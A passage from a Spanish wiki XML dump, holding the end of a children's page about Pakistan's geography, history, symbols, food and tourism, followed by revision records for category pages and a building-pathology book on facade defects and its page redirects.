* '''Costa:''' en el mar Arábigo
* '''Clima:''' Pakistán tiene un clima subtropical continental, mayormente árido, con grandes variaciones según la región y la estación. Los inviernos son suaves, mientras que los veranos son muy calurosos, con temperaturas que pueden superar los 50 °C. Las lluvias son escasas y desiguales, concentrándose sobre todo en el monzón de julio y agosto, siendo más abundantes en el norte que en el sur.

=== Historia ===

* Fue parte de la antigua '''Civilización del Valle del Indo'''
* Estuvo bajo varios imperios (Maurya, mogol, británico)
* Logró su independencia en 1947 tras la '''Partición de la India'''
{| class=wikitable align=&quot;right&quot;
|+'''Símbolos oficiales de Pakistán'''
!Animal nacional
|[[Archivo:Markhor.jpg|miniaturadeimagen|100px|Marjor]]
|-
!Ave nacional
|[[Archivo:Keklik.jpg|miniaturadeimagen|100px|Perdiz chucar]]
|-
!Árbol nacional
|[[Archivo:Pedrengo_cedro_nel_parco_Frizzoni.jpg|miniaturadeimagen|100px|Cedro]]
|-
!Flor nacional
|[[Archivo:Jasminum_officinale.JPG|miniaturadeimagen|70px|Jazmín]]
|-
!Animal nacional 
|[[Archivo:Snow_Leopard_13.jpg|miniaturadeimagen|100px|Leopardo de las nieves]]
|-
!Ave nacional 
|[[Archivo:Vándorsólyom.JPG|miniaturadeimagen|100px|Halcón peregrino]]
|-
!Mamífero acuático 
|[[Archivo:National aquatic marine mammal of Pakistan.jpg|miniaturadeimagen|100px|Delfín del Indus]]
|-
!Reptil nacional
|[[Archivo:Persiancrocodile.jpg|miniaturadeimagen|100px|Cocodrilo persa]]
|-
!Anfibio nacional
|[[Archivo:Bufo_stomaticus04.jpg|miniaturadeimagen|100px|Bufo stomaticus]]
|-
!Fruta nacional
|[[Archivo:Chaunsa.JPG|miniaturadeimagen|100px|Chaunsa]]
|-
!Mezquita nacional
|[[Archivo:Shah_Faisal_Mosque_(Islamabad,_Pakistan).jpg|miniaturadeimagen|100px|Mezquita Shah Faisal]]
|-
!Río nacional
|[[Archivo:Indus river from karakouram highway.jpg|miniaturadeimagen|100px|Indo]]
|-
!Montaña nacional
|[[Archivo:K2,_Mount_Godwin_Austen,_Chogori,_Savage_Mountain.jpg|miniaturadeimagen|100px|Monte Godwin Austen]]
|}

=== Cultura ===

* Tradiciones ricas en '''música, poesía y arte'''
* Destaca el poeta Muhammad Iqbal
* Gran diversidad étnica: punyabíes, sindhíes, pastunes, baluchis, entre otros
==== Gastronomía típica ====
*'''Biryani''':  Es un plato de arroz muy aromático cocinado con especias, carne (pollo, cordero o ternera), y a veces verduras, huevo o patata. Es uno de los más populares.
*'''Nihari''':  Es un guiso de carne cocinado lentamente durante horas con especias. Tiene una salsa espesa y se suele comer con pan.
*'''Kebabs''':  Son trozos de carne picada o en trozos, sazonados con especias y cocinados a la parrilla o al carbón. Hay muchos tipos diferentes.  

=== Deportes ===

* El deporte más popular es el cricket
* La selección nacional ganó:
** Copa Mundial de Críquet de 1992
** Trofeo de Campeones de la ICC 2017

=== Turismo ===
Pakistán es un destino aún poco explorado, pero con paisajes espectaculares:

* '''Valle de Hunza''': famoso por sus vistas al Karakórum y cultura local
* '''Fairy Meadows''': uno de los paisajes más impresionantes del país
* '''Skardu''': puerta de entrada a montañas y lagos
* '''Mezquita Badshahi''': una de las mezquitas más grandes del mundo

Es especialmente popular entre amantes del senderismo, montañismo y fotografía.

=== Ciudades importantes ===

* '''Karachi'''  Centro económico, con playas y mucha vida urbana
* '''Lahore'''  Corazón cultural, famoso por su arquitectura, comida y ambiente histórico
* '''Islamabad'''  Ciudad moderna, organizada y rodeada de naturaleza
* '''Peshawar'''  Una de las ciudades más antiguas del sur de Asia

=== Comida típica ===
La gastronomía pakistaní es sabrosa, especiada y muy variada:

*  '''Biryani''': arroz con carne, especias y a veces huevo o patata
*  '''Nihari''': carne cocida lentamente con especias
* '''Chapli kebab''': típico del noroeste
* '''Chicken karahi''': pollo cocinado con tomate y especias

Suele acompañarse con pan como '''naan''' o '''roti'''.

=== Curiosidades ===

* Pakistán tiene '''5 de las 14 montañas más altas del mundo'''
* Es uno de los países más jóvenes demográficamente (gran población joven)
* Tiene una industria cinematográfica llamada '''“Lollywood”''' (en Lahore)
* La '''Carretera del Karakórum''' es una de las más altas del mundo
* El cricket no es solo deporte… ¡es casi una pasión nacional!

=== Derechos humanos ===
[[Archivo:Karachi_-_Pakistan-market.jpg|miniaturadeimagen|200x200px|left|El mercado textil de los domingos en [[Karachi]]. Pakistán es el cuarto productor mundial de algodón.]]
En Pakistán, muchas mujeres sufren violencia de género, incluyendo matrimonios forzados, ataques con ácido y asesinatos llamados «por honor», lo que lo sitúa entre los países más peligrosos para ellas. Además, existen preocupaciones por la falta de libertades religiosas y denuncias frecuentes sobre este tema.

=== Economía ===
La industria textil de Pakistán, que genera el 70 % de sus exportaciones, presenta graves problemas laborales: malas condiciones de trabajo, ausencia de contratos, salarios bajos y empleo infantil. También hay falta de seguridad en fábricas, lo que provoca accidentes graves, y escasa supervisión. Además, los trabajadores tienen poca protección, ya que los sindicatos están restringidos y quienes intentan organizarlos sufren represalias.

[[Categoría:Wikichicos/Asia]]</text>
      <sha1>sseh7ik41574d51p0o0snw51vtl015c</sha1>
    </revision>
  </page>
  <page>
    <title>Categoría:Libro:Física</title>
    <ns>14</ns>
    <id>64076</id>
    <revision>
      <id>429952</id>
      <parentid>429417</parentid>
      <timestamp>2026-08-02T09:12:48Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <origin>429952</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="79" sha1="4z8pnorgq1lza8tvalqragas6ekxls2" xml:space="preserve">{{LP|Física}}
[[Categoría:Estante:Física]]
[[categoría:Libros organizados]]</text>
      <sha1>4z8pnorgq1lza8tvalqragas6ekxls2</sha1>
    </revision>
  </page>
  <page>
    <title>Categoría:Libro:Inglés</title>
    <ns>14</ns>
    <id>64258</id>
    <revision>
      <id>429790</id>
      <timestamp>2026-08-01T21:57:48Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Página creada con «[[Categoría:Estante:Idiomas]]»</comment>
      <origin>429790</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="30" sha1="ltwfcw9uq20qck4yucxovllo8naqd9d" xml:space="preserve">[[Categoría:Estante:Idiomas]]</text>
      <sha1>ltwfcw9uq20qck4yucxovllo8naqd9d</sha1>
    </revision>
    <revision>
      <id>429935</id>
      <parentid>429790</parentid>
      <timestamp>2026-08-01T22:09:58Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <origin>429935</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="45" sha1="kzu35rzo29zkq33ajs0rr34iiw6s48s" xml:space="preserve">{{LP|Inglés}}
[[Categoría:Estante:Idiomas]]</text>
      <sha1>kzu35rzo29zkq33ajs0rr34iiw6s48s</sha1>
    </revision>
  </page>
  <page>
    <title>Categoría:Libro:Ingeniería de aguas residuales</title>
    <ns>14</ns>
    <id>64259</id>
    <revision>
      <id>429956</id>
      <timestamp>2026-08-02T09:26:30Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Página creada con «{{LP|Ingeniería de aguas residuales|rojo}} Capítulos del libro [[Ingeniería de aguas residuales]].  [[Categoría:Estante:Ingeniería Civil]]»</comment>
      <origin>429956</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="143" sha1="twaqxhmxi3kxwph75f55ttmg86b55rn" xml:space="preserve">{{LP|Ingeniería de aguas residuales|rojo}}
Capítulos del libro [[Ingeniería de aguas residuales]].

[[Categoría:Estante:Ingeniería Civil]]</text>
      <sha1>twaqxhmxi3kxwph75f55ttmg86b55rn</sha1>
    </revision>
  </page>
  <page>
    <title>Categoría:Estante:Ingeniería Civil</title>
    <ns>14</ns>
    <id>64260</id>
    <revision>
      <id>429990</id>
      <timestamp>2026-08-02T09:46:38Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>+cat</comment>
      <origin>429990</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="34" sha1="5hfvt3sjhq2e1gezfil97epzatdgnmv" xml:space="preserve">[[Categoría:Estante:Ingeniería]]</text>
      <sha1>5hfvt3sjhq2e1gezfil97epzatdgnmv</sha1>
    </revision>
  </page>
  <page>
    <title>Categoría:Estante:Ingeniería</title>
    <ns>14</ns>
    <id>64261</id>
    <revision>
      <id>429991</id>
      <timestamp>2026-08-02T09:46:56Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Página creada con «[[Categoría:Estantes]]»</comment>
      <origin>429991</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="23" sha1="gy0m9h7rr598skjkjre3p5rgzpbhnyf" xml:space="preserve">[[Categoría:Estantes]]</text>
      <sha1>gy0m9h7rr598skjkjre3p5rgzpbhnyf</sha1>
    </revision>
  </page>
  <page>
    <title>Categoría:Libro:Hidrosistemas</title>
    <ns>14</ns>
    <id>64262</id>
    <revision>
      <id>429994</id>
      <timestamp>2026-08-02T09:51:35Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Página creada con «[[Categoría:Estante:Ingeniería Civil]]»</comment>
      <origin>429994</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="40" sha1="n2sj5bamg158v77nk3ycws3qlwqhoa3" xml:space="preserve">[[Categoría:Estante:Ingeniería Civil]]</text>
      <sha1>n2sj5bamg158v77nk3ycws3qlwqhoa3</sha1>
    </revision>
  </page>
  <page>
    <title>Categoría:Libro:Patología de la edificación</title>
    <ns>14</ns>
    <id>64263</id>
    <revision>
      <id>430001</id>
      <timestamp>2026-08-02T09:55:15Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Página creada con «[[Categoría:Estante:Ingeniería Civil]]»</comment>
      <origin>430001</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="40" sha1="n2sj5bamg158v77nk3ycws3qlwqhoa3" xml:space="preserve">[[Categoría:Estante:Ingeniería Civil]]</text>
      <sha1>n2sj5bamg158v77nk3ycws3qlwqhoa3</sha1>
    </revision>
    <revision>
      <id>430008</id>
      <parentid>430001</parentid>
      <timestamp>2026-08-02T09:57:32Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <origin>430008</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="77" sha1="a7a5i7db45b2k50mmaskk8v1n7zdod0" xml:space="preserve">{{LP|Patología de la edificación}}
[[Categoría:Estante:Ingeniería Civil]]</text>
      <sha1>a7a5i7db45b2k50mmaskk8v1n7zdod0</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Fachadas/Introducción</title>
    <ns>0</ns>
    <id>64264</id>
    <revision>
      <id>430021</id>
      <timestamp>2026-08-02T10:27:32Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>organización</comment>
      <origin>430021</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2170" sha1="81yg4efgrhi6n1bk3ogh9s9b9fhfqoq" xml:space="preserve">'''I.INTRODUCCIÓN A LAS FACHADAS'''

Las fachadas suponen algo más que un cerramiento para el edificio, ya que son tanto una barrera que evita que las acciones que inciden en ella pasen al interior como la materialización de la relación entre el edificio y su entorno. La solución de éstas, estará ligada a otros aspectos constructivos, como son la climatización que se ha de producir en el interior, el tipo de cubierta utilizada, el tipo de estructura… por tanto, no es un elemento aislado, sino que hay que analizarlo junto al resto de los aspectos del edificio.

Las fachadas, presentan puntos singulares que darán pie a originar patologías. Por lo que habrá que tenerlos en cuenta a la hora de su ejecución como son: los puntos de coronación, las esquinas, los huecos, los vuelos, los zócalos…
En estas zonas singulares los problemas más frecuentes que se pueden dar  son los debidos a la posible corrosión de los paramentos, a los desprendimientos de los revestimientos, a las fisuras y humedades de los muros y a la permeabilidad de los cerramientos.


'''II.INTRODUCCIÓN A LAS LESIONES DE FACHADA'''

Llamamos lesión a cada una de las manifestaciones observables de un problema constructivo. Será el aviso de la existencia de un problema y el punto de partida de un estudio patológico, siendo fundamental su correcta identificación.

En el caso de las fachadas encontraremos lesiones como consecuencia de otras, serán llamadas lesiones primarias y generarán lesiones secundarias, convirtiéndose, por tanto en causas de las mismas. 

Así encontramos las siguientes relaciones extraídas del libro de “patología de cerramientos y acabados arquitectónicos” de Juan Monjo Carrió:

:1.Las humedades pueden ser origen de:

::-Eflorescencias
::-Erosiones físicas y químicas
::-Desprendimientos

:2.Las grietas pueden producir:

::-Humedades
::-Erosiones físicas
::-Desprendimientos

:3.Los desprendimientos pueden provocar:

::-Humedades
::-Erosiones físicas 

:4.Los organismos podrán dar origen a:

::-Erosiones químicas
::-Suciedad

En el siguiente trabajo trataremos las lesiones comunes en fachadas, en el siguiente orden:</text>
      <sha1>81yg4efgrhi6n1bk3ogh9s9b9fhfqoq</sha1>
    </revision>
    <revision>
      <id>430022</id>
      <parentid>430021</parentid>
      <timestamp>2026-08-02T10:27:37Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430022</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2183" sha1="js50gx8d1yvpwxri8x74a458629nzse" xml:space="preserve">'''I.INTRODUCCIÓN A LAS FACHADAS'''

Las fachadas suponen algo más que un cerramiento para el edificio, ya que son tanto una barrera que evita que las acciones que inciden en ella pasen al interior como la materialización de la relación entre el edificio y su entorno. La solución de éstas, estará ligada a otros aspectos constructivos, como son la climatización que se ha de producir en el interior, el tipo de cubierta utilizada, el tipo de estructura… por tanto, no es un elemento aislado, sino que hay que analizarlo junto al resto de los aspectos del edificio.

Las fachadas, presentan puntos singulares que darán pie a originar patologías. Por lo que habrá que tenerlos en cuenta a la hora de su ejecución como son: los puntos de coronación, las esquinas, los huecos, los vuelos, los zócalos…
En estas zonas singulares los problemas más frecuentes que se pueden dar  son los debidos a la posible corrosión de los paramentos, a los desprendimientos de los revestimientos, a las fisuras y humedades de los muros y a la permeabilidad de los cerramientos.


'''II.INTRODUCCIÓN A LAS LESIONES DE FACHADA'''

Llamamos lesión a cada una de las manifestaciones observables de un problema constructivo. Será el aviso de la existencia de un problema y el punto de partida de un estudio patológico, siendo fundamental su correcta identificación.

En el caso de las fachadas encontraremos lesiones como consecuencia de otras, serán llamadas lesiones primarias y generarán lesiones secundarias, convirtiéndose, por tanto en causas de las mismas. 

Así encontramos las siguientes relaciones extraídas del libro de “patología de cerramientos y acabados arquitectónicos” de Juan Monjo Carrió:

:1.Las humedades pueden ser origen de:

::-Eflorescencias
::-Erosiones físicas y químicas
::-Desprendimientos

:2.Las grietas pueden producir:

::-Humedades
::-Erosiones físicas
::-Desprendimientos

:3.Los desprendimientos pueden provocar:

::-Humedades
::-Erosiones físicas 

:4.Los organismos podrán dar origen a:

::-Erosiones químicas
::-Suciedad

En el siguiente trabajo trataremos las lesiones comunes en fachadas, en el siguiente orden:

{{AutoCat}}</text>
      <sha1>js50gx8d1yvpwxri8x74a458629nzse</sha1>
    </revision>
    <revision>
      <id>430023</id>
      <parentid>430022</parentid>
      <timestamp>2026-08-02T10:28:12Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <origin>430023</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2191" sha1="cc76ju4ko4l199b9qp2irky1hjqe7dw" xml:space="preserve">=== I.INTRODUCCIÓN A LAS FACHADAS ===
Las fachadas suponen algo más que un cerramiento para el edificio, ya que son tanto una barrera que evita que las acciones que inciden en ella pasen al interior como la materialización de la relación entre el edificio y su entorno. La solución de éstas, estará ligada a otros aspectos constructivos, como son la climatización que se ha de producir en el interior, el tipo de cubierta utilizada, el tipo de estructura… por tanto, no es un elemento aislado, sino que hay que analizarlo junto al resto de los aspectos del edificio.

Las fachadas, presentan puntos singulares que darán pie a originar patologías. Por lo que habrá que tenerlos en cuenta a la hora de su ejecución como son: los puntos de coronación, las esquinas, los huecos, los vuelos, los zócalos…
En estas zonas singulares los problemas más frecuentes que se pueden dar  son los debidos a la posible corrosión de los paramentos, a los desprendimientos de los revestimientos, a las fisuras y humedades de los muros y a la permeabilidad de los cerramientos.

===  '''II.INTRODUCCIÓN A LAS LESIONES DE FACHADA''' ===
Llamamos lesión a cada una de las manifestaciones observables de un problema constructivo. Será el aviso de la existencia de un problema y el punto de partida de un estudio patológico, siendo fundamental su correcta identificación.

En el caso de las fachadas encontraremos lesiones como consecuencia de otras, serán llamadas lesiones primarias y generarán lesiones secundarias, convirtiéndose, por tanto en causas de las mismas. 

Así encontramos las siguientes relaciones extraídas del libro de “patología de cerramientos y acabados arquitectónicos” de Juan Monjo Carrió:

:1.Las humedades pueden ser origen de:

::-Eflorescencias
::-Erosiones físicas y químicas
::-Desprendimientos

:2.Las grietas pueden producir:

::-Humedades
::-Erosiones físicas
::-Desprendimientos

:3.Los desprendimientos pueden provocar:

::-Humedades
::-Erosiones físicas 

:4.Los organismos podrán dar origen a:

::-Erosiones químicas
::-Suciedad

En el siguiente trabajo trataremos las lesiones comunes en fachadas, en el siguiente orden:

{{AutoCat}}</text>
      <sha1>cc76ju4ko4l199b9qp2irky1hjqe7dw</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Fachadas/4.Eflorescencias.</title>
    <ns>0</ns>
    <id>64265</id>
    <redirect title="Patología de la edificación/Fachadas/Eflorescencias" />
    <revision>
      <id>430045</id>
      <timestamp>2026-08-02T10:49:34Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Mazbel trasladó la página [[Patología de la edificación/Fachadas/4.Eflorescencias.]] a [[Patología de la edificación/Fachadas/Eflorescencias]]: Moviendo según manual de títulos</comment>
      <origin>430045</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="71" sha1="jgr3u0uoivznedomb049p8zp5webhhj" xml:space="preserve">#REDIRECCIÓN [[Patología de la edificación/Fachadas/Eflorescencias]]</text>
      <sha1>jgr3u0uoivznedomb049p8zp5webhhj</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Fachadas/4.Eflorescencias./1.DEFINICIÓN</title>
    <ns>0</ns>
    <id>64266</id>
    <redirect title="Patología de la edificación/Fachadas/Eflorescencias/1.DEFINICIÓN" />
    <revision>
      <id>430047</id>
      <timestamp>2026-08-02T10:49:34Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Mazbel trasladó la página [[Patología de la edificación/Fachadas/4.Eflorescencias./1.DEFINICIÓN]] a [[Patología de la edificación/Fachadas/Eflorescencias/1.DEFINICIÓN]]: Moviendo según manual de títulos</comment>
      <origin>430047</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="85" sha1="f4zcu8op11mpcjakvjkrphf4tpesbe4" xml:space="preserve">#REDIRECCIÓN [[Patología de la edificación/Fachadas/Eflorescencias/1.DEFINICIÓN]]</text>
      <sha1>f4zcu8op11mpcjakvjkrphf4tpesbe4</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Fachadas/4.Eflorescencias./2.ORIGENES DE LAS EFLORESCENCIAS</title>
    <ns>0</ns>
    <id>64267</id>
    <redirect title="Patología de la edificación/Fachadas/Eflorescencias/2.ORIGENES DE LAS EFLORESCENCIAS" />
    <revision>
      <id>430049</id>
      <timestamp>2026-08-02T10:49:34Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Mazbel trasladó la página [[Patología de la edificación/Fachadas/4.Eflorescencias./2.ORIGENES DE LAS EFLORESCENCIAS]] a [[Patología de la edificación/Fachadas/Eflorescencias/2.ORIGENES DE LAS EFLORESCENCIAS]]: Moviendo según manual de títulos</comment>
      <origin>430049</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="104" sha1="2c2rpuykhqdgqss9x6ebjwv3vmzl9hw" xml:space="preserve">#REDIRECCIÓN [[Patología de la edificación/Fachadas/Eflorescencias/2.ORIGENES DE LAS EFLORESCENCIAS]]</text>
      <sha1>2c2rpuykhqdgqss9x6ebjwv3vmzl9hw</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Fachadas/4.Eflorescencias./3.TIPOLOGÍAS</title>
    <ns>0</ns>
    <id>64268</id>
    <redirect title="Patología de la edificación/Fachadas/Eflorescencias/3.TIPOLOGÍAS" />
    <revision>
      <id>430051</id>
      <timestamp>2026-08-02T10:49:35Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Mazbel trasladó la página [[Patología de la edificación/Fachadas/4.Eflorescencias./3.TIPOLOGÍAS]] a [[Patología de la edificación/Fachadas/Eflorescencias/3.TIPOLOGÍAS]]: Moviendo según manual de títulos</comment>
      <origin>430051</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="85" sha1="okpuo3lgw3qqowmp5i6cp030kcc2vwy" xml:space="preserve">#REDIRECCIÓN [[Patología de la edificación/Fachadas/Eflorescencias/3.TIPOLOGÍAS]]</text>
      <sha1>okpuo3lgw3qqowmp5i6cp030kcc2vwy</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Fachadas/4.Eflorescencias./4.DIAGNOSTICO</title>
    <ns>0</ns>
    <id>64269</id>
    <redirect title="Patología de la edificación/Fachadas/Eflorescencias/4.DIAGNOSTICO" />
    <revision>
      <id>430053</id>
      <timestamp>2026-08-02T10:49:35Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Mazbel trasladó la página [[Patología de la edificación/Fachadas/4.Eflorescencias./4.DIAGNOSTICO]] a [[Patología de la edificación/Fachadas/Eflorescencias/4.DIAGNOSTICO]]: Moviendo según manual de títulos</comment>
      <origin>430053</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="85" sha1="mpqrknzi4xmmh6tru0rblaet0npuvto" xml:space="preserve">#REDIRECCIÓN [[Patología de la edificación/Fachadas/Eflorescencias/4.DIAGNOSTICO]]</text>
      <sha1>mpqrknzi4xmmh6tru0rblaet0npuvto</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Fachadas/4.Eflorescencias./5.REPARACIÓN</title>
    <ns>0</ns>
    <id>64270</id>
    <redirect title="Patología de la edificación/Fachadas/Eflorescencias/5.REPARACIÓN" />
    <revision>
      <id>430055</id>
      <timestamp>2026-08-02T10:49:35Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Mazbel trasladó la página [[Patología de la edificación/Fachadas/4.Eflorescencias./5.REPARACIÓN]] a [[Patología de la edificación/Fachadas/Eflorescencias/5.REPARACIÓN]]: Moviendo según manual de títulos</comment>
      <origin>430055</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="85" sha1="k3byepxjr3gvarx8v5350gx6sekm2q3" xml:space="preserve">#REDIRECCIÓN [[Patología de la edificación/Fachadas/Eflorescencias/5.REPARACIÓN]]</text>
      <sha1>k3byepxjr3gvarx8v5350gx6sekm2q3</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Fachadas/4.Eflorescencias./6.PREVENCIÓN</title>
    <ns>0</ns>
    <id>64271</id>
    <redirect title="Patología de la edificación/Fachadas/Eflorescencias/6.PREVENCIÓN" />
    <revision>
      <id>430057</id>
      <timestamp>2026-08-02T10:49:35Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Mazbel trasladó la página [[Patología de la edificación/Fachadas/4.Eflorescencias./6.PREVENCIÓN]] a [[Patología de la edificación/Fachadas/Eflorescencias/6.PREVENCIÓN]]: Moviendo según manual de títulos</comment>
      <origin>430057</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="85" sha1="hzb0o6w33hbab6bfaq82ykd9oxgoctq" xml:space="preserve">#REDIRECCIÓN [[Patología de la edificación/Fachadas/Eflorescencias/6.PREVENCIÓN]]</text>
      <sha1>hzb0o6w33hbab6bfaq82ykd9oxgoctq</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Fachadas/Eflorescencias/1.DEFINICIÓN</title>
    <ns>0</ns>
    <id>64272</id>
    <redirect title="Patología de la edificación/Fachadas/Eflorescencias/Definición" />
    <revision>
      <id>430059</id>
      <timestamp>2026-08-02T10:50:13Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Mazbel trasladó la página [[Patología de la edificación/Fachadas/Eflorescencias/1.DEFINICIÓN]] a [[Patología de la edificación/Fachadas/Eflorescencias/Definición]]</comment>
      <origin>430059</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="83" sha1="6m9i46vcs6hfxddlvarnnpzn1viegwi" xml:space="preserve">#REDIRECCIÓN [[Patología de la edificación/Fachadas/Eflorescencias/Definición]]</text>
      <sha1>6m9i46vcs6hfxddlvarnnpzn1viegwi</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Fachadas/Eflorescencias/2.ORIGENES DE LAS EFLORESCENCIAS</title>
    <ns>0</ns>
    <id>64273</id>
    <redirect title="Patología de la edificación/Fachadas/Eflorescencias/Orígenes de las Eflorescencias" />
    <revision>
      <id>430061</id>
      <timestamp>2026-08-02T10:50:42Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Mazbel trasladó la página [[Patología de la edificación/Fachadas/Eflorescencias/2.ORIGENES DE LAS EFLORESCENCIAS]] a [[Patología de la edificación/Fachadas/Eflorescencias/Orígenes de las Eflorescencias]]</comment>
      <origin>430061</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="103" sha1="mle35cbj1k7xo4ik59ktx0fgvzog3q3" xml:space="preserve">#REDIRECCIÓN [[Patología de la edificación/Fachadas/Eflorescencias/Orígenes de las Eflorescencias]]</text>
      <sha1>mle35cbj1k7xo4ik59ktx0fgvzog3q3</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Fachadas/Eflorescencias/3.TIPOLOGÍAS</title>
    <ns>0</ns>
    <id>64274</id>
    <redirect title="Patología de la edificación/Fachadas/Eflorescencias/Tipologías" />
    <revision>
      <id>430063</id>
      <timestamp>2026-08-02T10:51:00Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Mazbel trasladó la página [[Patología de la edificación/Fachadas/Eflorescencias/3.TIPOLOGÍAS]] a [[Patología de la edificación/Fachadas/Eflorescencias/Tipologías]]</comment>
      <origin>430063</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="83" sha1="gowkzqv3vf6t4gv180l10lbosxbk1ll" xml:space="preserve">#REDIRECCIÓN [[Patología de la edificación/Fachadas/Eflorescencias/Tipologías]]</text>
      <sha1>gowkzqv3vf6t4gv180l10lbosxbk1ll</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Fachadas/Eflorescencias/4.DIAGNOSTICO</title>
    <ns>0</ns>
    <id>64275</id>
    <redirect title="Patología de la edificación/Fachadas/Eflorescencias/Diagnóstico" />
    <revision>
      <id>430065</id>
      <timestamp>2026-08-02T10:51:23Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Mazbel trasladó la página [[Patología de la edificación/Fachadas/Eflorescencias/4.DIAGNOSTICO]] a [[Patología de la edificación/Fachadas/Eflorescencias/Diagnóstico]]</comment>
      <origin>430065</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="84" sha1="fdde45o5qi9w9exjusj49tpa5pkgrgy" xml:space="preserve">#REDIRECCIÓN [[Patología de la edificación/Fachadas/Eflorescencias/Diagnóstico]]</text>
      <sha1>fdde45o5qi9w9exjusj49tpa5pkgrgy</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Fachadas/Eflorescencias/6.PREVENCIÓN</title>
    <ns>0</ns>
    <id>64276</id>
    <redirect title="Patología de la edificación/Fachadas/Eflorescencias/Prevención" />
    <revision>
      <id>430072</id>
      <timestamp>2026-08-02T10:53:23Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Mazbel trasladó la página [[Patología de la edificación/Fachadas/Eflorescencias/6.PREVENCIÓN]] a [[Patología de la edificación/Fachadas/Eflorescencias/Prevención]]</comment>
      <origin>430072</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="83" sha1="sj7jgvyz38bu2iyq7hmp4xfxe2cd0vt" xml:space="preserve">#REDIRECCIÓN [[Patología de la edificación/Fachadas/Eflorescencias/Prevención]]</text>
      <sha1>sj7jgvyz38bu2iyq7hmp4xfxe2cd0vt</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Fachadas/Eflorescencias/5.REPARACIÓN</title>
    <ns>0</ns>
    <id>64277</id>
    <redirect title="Patología de la edificación/Fachadas/Eflorescencias/Reparación" />
    <revision>
      <id>430074</id>
      <timestamp>2026-08-02T10:53:32Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
